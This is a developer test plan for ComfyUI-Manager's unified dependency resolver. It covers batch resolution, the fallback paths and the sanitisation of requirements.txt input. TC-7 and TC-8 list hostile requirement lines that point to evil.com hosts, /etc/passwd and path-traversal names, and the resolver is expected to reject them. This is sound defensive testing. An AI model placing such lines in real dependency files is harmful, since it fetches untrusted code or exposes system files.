ComfyUI-Manager/docs/dev/TEST-unified-dep-resolver.md

Test Cases: Unified Dependency Resolver

See TEST-environment-setup.md for environment setup.

Enabling the Resolver

Add the following to config.ini (in the Manager data directory):

[default]
use_unified_resolver = true

Config path: $COMFY_ROOT/user/__manager/config.ini Also printed at startup: ** ComfyUI-Manager config path: <path>/config.ini

Log visibility note: [UnifiedDepResolver] messages are emitted via Python's logging module (INFO and WARNING levels), not print(). Ensure the logging level is set to INFO or lower. ComfyUI defaults typically show these, but if messages are missing, check that the root logger or the ComfyUI-Manager logger is not set above INFO.

API Reference (for Runtime Tests)

Node pack installation at runtime uses the task queue API:

POST http://localhost:8199/v2/manager/queue/task
Content-Type: application/json

Port: E2E tests use port 8199 to avoid conflicts with running ComfyUI instances. Replace with your actual port if different.

Payload (QueueTaskItem):

Field	Type	Description
ui_id	string	Unique task identifier (any string)
client_id	string	Client identifier (any string)
kind	OperationType enum	"install", "uninstall", "update", "update-comfyui", "fix", "disable", "enable", "install-model"
params	object	Operation-specific parameters (see below)

Install params (InstallPackParams):

Field	Type	Description
id	string	CNR node pack ID (e.g., "comfyui-impact-pack") or "author/repo"
version	string	Required by model. Set to same value as selected_version.
selected_version	string	Controls install target: "latest", "nightly", or specific semver
mode	string	"remote", "local", or "cache"
channel	string	"default", "recent", "legacy", etc.

Note

: cm_cli imports from legacy/manager_core.py and does not participate in unified resolver. CLI-based installs always use per-node pip. See Out of Scope.

---

Out of Scope (Deferred)

The following are intentionally not tested in this version:

• cm_global integration: pip_blacklist, pip_overrides, pip_downgrade_blacklist are passed as empty defaults to the resolver. Integration with cm_global is deferred to a future commit. Do not file defects for blacklist/override/downgrade behavior in unified mode.
• cm_cli (CLI tool): cm_cli imports from legacy/manager_core.py which does not have unified resolver integration. CLI-based installs always use per-node pip install regardless of the use_unified_resolver flag. This is a known limitation, not a defect.
• Standalone execute_install_script() (glob/manager_core.py ~line 1881): Has a unified resolver guard (manager_util.use_unified_resolver), identical to the class method guard. Reachable from the glob API via update-comfyui tasks (update_path() / update_to_stable_comfyui()), git-based node pack updates (git_repo_update_check_with() / fetch_or_pull_git_repo()), and gitclone operations. Also called from CLI and legacy server paths. The guard behaves identically to the class method at all call sites; testing it separately adds no coverage beyond TC-14 Path 1.

Test Fixture Setup

Each TC that requires node packs should use isolated, deterministic fixtures:

# Create test node pack
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_a"
echo "chardet>=5.0" > "$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt"

# Cleanup after test
rm -rf "$COMFY_ROOT/custom_nodes/test_pack_a"

Ensure no other node packs in custom_nodes/ interfere with expected counts. Use a clean custom_nodes/ directory or account for existing packs in assertions.

---

TC-1: Normal Batch Resolution [P0]

Precondition: use_unified_resolver = true, uv installed, at least one node pack with requirements.txt

Steps:

1. Create $COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt with content: chardet>=5.0
2. Start ComfyUI

Expected log:

[UnifiedDepResolver] Collected N deps from M sources (skipped 0)
[UnifiedDepResolver] running: ... uv pip compile ...
[UnifiedDepResolver] running: ... uv pip install ...
[UnifiedDepResolver] startup batch resolution succeeded

Verify: Neither Install: pip packages for nor Install: pip packages appears in output (both per-node pip variants must be absent)

---

TC-2: Disabled State (Default) [P1]

Precondition: use_unified_resolver = false or key absent from config.ini

Steps: Start ComfyUI

Verify: No [UnifiedDepResolver] log output at all

---

TC-3: Fallback When uv Unavailable [P0]

Precondition: use_unified_resolver = true, uv completely unavailable

Steps:

1. Create a venv without uv installed (uv package not in venv)
2. Ensure no standalone uv binary exists in $PATH (rename or use isolated $PATH)
3. Start ComfyUI

# Reliable uv removal: both module and binary must be absent
uv pip uninstall uv
# Verify neither path works
python -m uv --version 2>&1 | grep -q "No module" && echo "module uv: absent"
which uv 2>&1 | grep -q "not found" && echo "binary uv: absent"

Expected log:

[UnifiedDepResolver] uv not available at startup, falling back to per-node pip

Verify:

• manager_util.use_unified_resolver is reset to False
• Subsequent node pack installations use per-node pip install normally

---

TC-4: Fallback on Compile Failure [P0]

Precondition: use_unified_resolver = true, conflicting dependencies

Steps:

1. Node pack A requirements.txt: numpy==1.24.0
2. Node pack B requirements.txt: numpy==1.26.0
3. Start ComfyUI

Expected log:

[UnifiedDepResolver] startup batch failed: compile failed: ..., falling back to per-node pip

Verify:

• manager_util.use_unified_resolver is reset to False
• Falls back to per-node pip install normally

---

TC-5: Fallback on Install Failure [P0]

Precondition: use_unified_resolver = true, compile succeeds but install fails

Steps:

1. Create node pack with requirements.txt: numpy<2
2. Force install failure by making the venv's site-packages read-only:

chmod -R a-w "$(python -c 'import site; print(site.getsitepackages()[0])')"

3. Start ComfyUI
4. After test, restore permissions:

chmod -R u+w "$(python -c 'import site; print(site.getsitepackages()[0])')"

Expected log:

[UnifiedDepResolver] startup batch failed: ..., falling back to per-node pip

The ... contains raw stderr from uv pip install (e.g., permission denied errors).

Verify:

• manager_util.use_unified_resolver is reset to False
• Falls back to per-node pip install

---

TC-6: install.py Execution Preserved [P0]

Precondition: use_unified_resolver = true, ComfyUI running with batch resolution succeeded

Steps:

1. While ComfyUI is running, install a node pack that has both install.py and requirements.txt via API:

curl -X POST http://localhost:8199/v2/manager/queue/task \
  -H "Content-Type: application/json" \
  -d '{
    "ui_id": "test-installpy",
    "client_id": "test-client",
    "kind": "install",
    "params": {
      "id": "<node-pack-id-with-install-py>",
      "version": "latest",
      "selected_version": "latest",
      "mode": "remote",
      "channel": "default"
    }
  }'

Choose a CNR node pack known to have both install.py and requirements.txt. Alternatively, use the Manager UI to install the same pack.

2. Check logs after installation

Verify:

• Install: install script is printed (install.py runs immediately during install)
• Install: pip packages does NOT appear (deps deferred, not installed per-node)
• Log: [UnifiedDepResolver] deps deferred to startup batch resolution for <path>
• After restart, the new pack's deps are included in batch resolution (Collected N deps from M sources)

---

TC-7: Dangerous Pattern Rejection [P0]

Precondition: use_unified_resolver = true

Steps: Include any of the following in a node pack's requirements.txt:

-r ../../../etc/hosts
--requirement secret.txt
-e git+https://evil.com/repo
--editable ./local
-c constraint.txt
--constraint external.txt
--find-links http://evil.com/pkgs
-f http://evil.com/pkgs
evil_pkg @ file:///etc/passwd

Expected log:

[UnifiedDepResolver] rejected dangerous line: '...' from <path>

Verify: Dangerous lines are skipped; remaining valid deps are installed normally

---

TC-8: Path Separator Rejection [P0]

Precondition: use_unified_resolver = true

Steps: Node pack requirements.txt:

../evil/pkg
bad\pkg
./local_package

Expected log:

[UnifiedDepResolver] rejected path separator: '...' from <path>

Verify: Lines with / or \ in the package name portion are rejected; valid deps on other lines are processed normally

---

TC-9: --index-url / --extra-index-url Separation [P0]

Precondition: use_unified_resolver = true

Test all four inline forms:

#	requirements.txt content	Expected package	Expected URL
a	torch --index-url https://example.com/whl	torch	https://example.com/whl
b	torch --extra-index-url https://example.com/whl	torch	https://example.com/whl
c	--index-url https://example.com/whl (standalone)	(none)	https://example.com/whl
d	--extra-index-url https://example.com/whl (standalone)	(none)	https://example.com/whl

Steps: Create a node pack with each variant (one at a time or combined with a valid package on a separate line)

Verify:

• Package spec is correctly extracted (or empty for standalone lines)
• URL is passed as --extra-index-url to uv pip compile
• Duplicate URLs across multiple node packs are deduplicated
• Log: [UnifiedDepResolver] extra-index-url: <url>

---

TC-10: Credential Redaction [P0]

Precondition: use_unified_resolver = true

Steps: Node pack requirements.txt:

private-pkg --index-url https://user:token123@pypi.private.com/simple

Verify:

• user:token123 does NOT appear in logs
• Masked as ****@ in log output

---

TC-11: Disabled Node Packs Excluded [P1]

Precondition: use_unified_resolver = true

Steps: Test both disabled styles:

1. New style: custom_nodes/.disabled/test_pack/requirements.txt with content: numpy
2. Old style: custom_nodes/test_pack.disabled/requirements.txt with content: requests
3. Start ComfyUI

Verify: Neither disabled node pack's deps are collected (not included in Collected N)

---

TC-12: No Dependencies [P2]

Precondition: use_unified_resolver = true, only node packs without requirements.txt

Steps: Start ComfyUI

Expected log:

[UnifiedDepResolver] No dependencies to resolve

Verify: Compile/install steps are skipped; startup completes normally

---

TC-13: Runtime Node Pack Install (Defer Behavior) [P1]

Precondition: use_unified_resolver = true, batch resolution succeeded at startup

Steps:

1. Start ComfyUI and confirm batch resolution succeeds
2. While ComfyUI is running, install a new node pack via API:

curl -X POST http://localhost:8199/v2/manager/queue/task \
  -H "Content-Type: application/json" \
  -d '{
    "ui_id": "test-defer-1",
    "client_id": "test-client",
    "kind": "install",
    "params": {
      "id": "<node-pack-id>",
      "version": "latest",
      "selected_version": "latest",
      "mode": "remote",
      "channel": "default"
    }
  }'

Replace <node-pack-id> with a real CNR node pack ID (e.g., from the Manager UI). Alternatively, use the Manager UI to install a node pack.

3. Check logs after installation

Verify:

• Log: [UnifiedDepResolver] deps deferred to startup batch resolution for <path>
• Install: pip packages does NOT appear
• After ComfyUI restart, the new node pack's deps are included in batch resolution

---

TC-14: Both Unified Resolver Code Paths [P0]

Verify both code locations that guard per-node pip install behave correctly in unified mode:

Path	Guard Variable	Trigger	Location
Runtime install	manager_util.use_unified_resolver	API install while ComfyUI is running	glob/manager_core.py class method (~line 846)
Startup lazy install	_unified_resolver_succeeded	Queued install processed at restart	prestartup_script.py execute_lazy_install_script() (~line 594)

Note

: The standalone execute_install_script() in glob/manager_core.py (~line 1881) also has a unified resolver guard but is reachable via update-comfyui, git-based node pack updates, gitclone operations, CLI, and legacy server paths. The guard is identical to the class method; see Out of Scope.

Steps:

Path 1 — Runtime API install (class method):

# While ComfyUI is running:
curl -X POST http://localhost:8199/v2/manager/queue/task \
  -H "Content-Type: application/json" \
  -d '{
    "ui_id": "test-path1",
    "client_id": "test-client",
    "kind": "install",
    "params": {
      "id": "<node-pack-id>",
      "version": "latest",
      "selected_version": "latest",
      "mode": "remote",
      "channel": "default"
    }
  }'

Choose a CNR node pack that has both install.py and requirements.txt.

Path 2 — Startup lazy install (execute_lazy_install_script):

1. Create a test node pack with both install.py and requirements.txt:

mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_lazy"
echo 'print("lazy install.py executed")' > "$COMFY_ROOT/custom_nodes/test_pack_lazy/install.py"
echo "chardet" > "$COMFY_ROOT/custom_nodes/test_pack_lazy/requirements.txt"

2. Manually inject a #LAZY-INSTALL-SCRIPT entry into install-scripts.txt:

SCRIPTS_DIR="$COMFY_ROOT/user/__manager/startup-scripts"
mkdir -p "$SCRIPTS_DIR"
PYTHON_PATH=$(which python)
echo "['$COMFY_ROOT/custom_nodes/test_pack_lazy', '#LAZY-INSTALL-SCRIPT', '$PYTHON_PATH']" \
  >> "$SCRIPTS_DIR/install-scripts.txt"

3. Start ComfyUI (with use_unified_resolver = true)

Verify:

• Path 1: [UnifiedDepResolver] deps deferred to startup batch resolution for <path> appears, install.py runs immediately, Install: pip packages does NOT appear
• Path 2: lazy install.py executed is printed (install.py runs at startup), Install: pip packages for does NOT appear for the pack (skipped because _unified_resolver_succeeded is True after batch resolution)

---

TC-15: Behavior After Fallback in Same Process [P1]

Precondition: Resolver failed at startup (TC-4 or TC-5 scenario)

Steps:

1. Set up conflicting deps (as in TC-4) and start ComfyUI (resolver fails, flag reset to False)
2. While still running, install a new node pack via API:

curl -X POST http://localhost:8199/v2/manager/queue/task \
  -H "Content-Type: application/json" \
  -d '{
    "ui_id": "test-postfallback",
    "client_id": "test-client",
    "kind": "install",
    "params": {
      "id": "<node-pack-id>",
      "version": "latest",
      "selected_version": "latest",
      "mode": "remote",
      "channel": "default"
    }
  }'

Verify:

• New node pack uses per-node pip install (not deferred)
• Install: pip packages appears normally
• On next restart with conflicts resolved, unified resolver retries if config still true

---

TC-16: Generic Exception Fallback [P1]

Precondition: use_unified_resolver = true, an exception escapes before resolve_and_install()

This covers the except Exception handler at prestartup_script.py (~line 793), distinct from UvNotAvailableError (TC-3) and ResolveResult failure (TC-4/TC-5). The generic handler catches errors in the import, collect_node_pack_paths(), collect_base_requirements(), or UnifiedDepResolver.__init__() — all of which run before the resolver's own internal error handling.

Steps:

1. Make the custom_nodes directory unreadable so collect_node_pack_paths() raises a PermissionError:

chmod a-r "$COMFY_ROOT/custom_nodes"

2. Start ComfyUI
3. After test, restore permissions:

chmod u+r "$COMFY_ROOT/custom_nodes"

Expected log:

[UnifiedDepResolver] startup error: ..., falling back to per-node pip

Verify:

• manager_util.use_unified_resolver is reset to False
• Falls back to per-node pip install normally
• Log pattern is startup error: (NOT startup batch failed: nor uv not available)

---

TC-17: Restart Dependency Detection [P0]

Precondition: use_unified_resolver = true, automated E2E scripts available

This test verifies that the resolver correctly detects and installs dependencies for node packs added between restarts, incrementally building the dependency set.

Steps:

1. Boot ComfyUI with no custom node packs (Boot 1 — baseline)
2. Verify baseline deps only (Manager's own deps)
3. Stop ComfyUI
4. Clone ComfyUI-Impact-Pack into custom_nodes/
5. Restart ComfyUI (Boot 2)
6. Verify Impact Pack deps are installed (cv2, skimage, dill, scipy, matplotlib)
7. Stop ComfyUI
8. Clone ComfyUI-Inspire-Pack into custom_nodes/
9. Restart ComfyUI (Boot 3)
10. Verify Inspire Pack deps are installed (cachetools, webcolors)

Expected log (each boot):

[UnifiedDepResolver] Collected N deps from M sources (skipped S)
[UnifiedDepResolver] running: ... uv pip compile ...
[UnifiedDepResolver] running: ... uv pip install ...
[UnifiedDepResolver] startup batch resolution succeeded

Verify:

• Boot 1: ~10 deps from ~10 sources; cv2, dill, cachetools are NOT installed
• Boot 2: ~19 deps from ~18 sources; cv2, skimage, dill, scipy, matplotlib all importable
• Boot 3: ~24 deps from ~21 sources; cachetools, webcolors also importable
• Both packs show as loaded in logs

Automation: Use tests/e2e/scripts/ (setup → start → stop) with node pack cloning between boots.

---

TC-18: Real Node Pack Integration [P0]

Precondition: use_unified_resolver = true, network access to GitHub + PyPI

Full pipeline test with real-world node packs (ComfyUI-Impact-Pack + ComfyUI-Inspire-Pack) to verify the resolver handles production requirements.txt files correctly.

Steps:

1. Set up E2E environment
2. Clone both Impact Pack and Inspire Pack into custom_nodes/
3. Direct-mode: instantiate UnifiedDepResolver, call collect_requirements() and resolve_and_install()
4. Boot-mode: start ComfyUI and verify via logs

Expected behavior (direct mode):

--- Discovered node packs (3) ---     # Manager, Impact, Inspire
  ComfyUI-Impact-Pack
  ComfyUI-Inspire-Pack
  ComfyUI-Manager

--- Phase 1: Collect Requirements ---
  Total requirements: ~24
  Skipped: 1                          # SAM2 git+https:// URL
  Extra index URLs: set()

Verify:

• git+https://github.com/facebookresearch/sam2.git is correctly rejected with "rejected path separator"
• All other dependencies are collected and resolved
• After install, cv2, PIL, scipy, skimage, matplotlib are all importable
• No conflicting version errors during compile

Automation: Use tests/e2e/scripts/ (setup → clone packs → start) with direct-mode resolver invocation.

---

Validated Behaviors (from E2E Testing)

The following behaviors were confirmed during manual E2E testing:

Resolver Pipeline

• 3-phase pipeline: Collect → uv pip compile → uv pip install works end-to-end
• Incremental detection: Resolver discovers new node packs on each restart without reinstalling existing deps
• Dependency deduplication: Overlapping deps from multiple packs are resolved to compatible versions

Security & Filtering

• git+https:// rejection: URLs like git+https://github.com/facebookresearch/sam2.git are rejected with "rejected path separator" — SAM2 is the only dependency skipped from Impact Pack
• Blacklist filtering: PackageRequirement objects have .name, .spec, .source attributes; collected.skipped returns [(spec_string, reason_string)] tuples

Manager Integration

• Manager v4 endpoints: All endpoints use /v2/ prefix (e.g., /v2/manager/queue/status)
• Blocked by policy: Expected when Manager is pip-installed and also symlinked in custom_nodes/; prevents legacy double-loading
• config.ini path: Must be at $COMFY_ROOT/user/__manager/config.ini, not in the symlinked Manager dir

Environment

• PYTHONPATH requirement: comfy is a local package (not pip-installed); comfyui_manager imports from comfy, so both require PYTHONPATH=$COMFY_ROOT
• HOME isolation: HOME=$E2E_ROOT/home prevents host config contamination during boot

---

Summary

TC	P	Scenario	Key Verification
1	P0	Normal batch resolution	compile → install pipeline
2	P1	Disabled state	No impact on existing behavior
3	P0	uv unavailable fallback	Flag reset + per-node resume
4	P0	Compile failure fallback	Flag reset + per-node resume
5	P0	Install failure fallback	Flag reset + per-node resume
6	P0	install.py preserved	deps defer, install.py immediate
7	P0	Dangerous pattern rejection	Security filtering
8	P0	Path separator rejection	/ and \ in package names
9	P0	index-url separation	All 4 variants + dedup
10	P0	Credential redaction	Log security
11	P1	Disabled packs excluded	Both .disabled/ and .disabled suffix
12	P2	No dependencies	Empty pipeline
13	P1	Runtime install defer	Defer until restart
14	P0	Both unified resolver paths	runtime API (class method) + startup lazy install
15	P1	Post-fallback behavior	Per-node pip resumes in same process
16	P1	Generic exception fallback	Distinct from uv-absent and batch-failed
17	P0	Restart dependency detection	Incremental node pack discovery across restarts
18	P0	Real node pack integration	Impact + Inspire Pack full pipeline

Traceability

Feature Requirement	Test Cases
FR-1: Dependency collection	TC-1, TC-11, TC-12
FR-2: Input sanitization	TC-7, TC-8, TC-10
FR-3: Index URL handling	TC-9
FR-4: Batch resolution (compile)	TC-1, TC-4
FR-5: Batch install	TC-1, TC-5
FR-6: install.py preserved	TC-6, TC-14
FR-7: Startup batch integration	TC-1, TC-2, TC-3
Fallback behavior	TC-3, TC-4, TC-5, TC-15, TC-16
Disabled node pack exclusion	TC-11
Runtime defer behavior	TC-13, TC-14
FR-8: Restart discovery	TC-17
FR-9: Real-world compatibility	TC-17, TC-18
FR-2: Input sanitization (git URLs)	TC-8, TC-18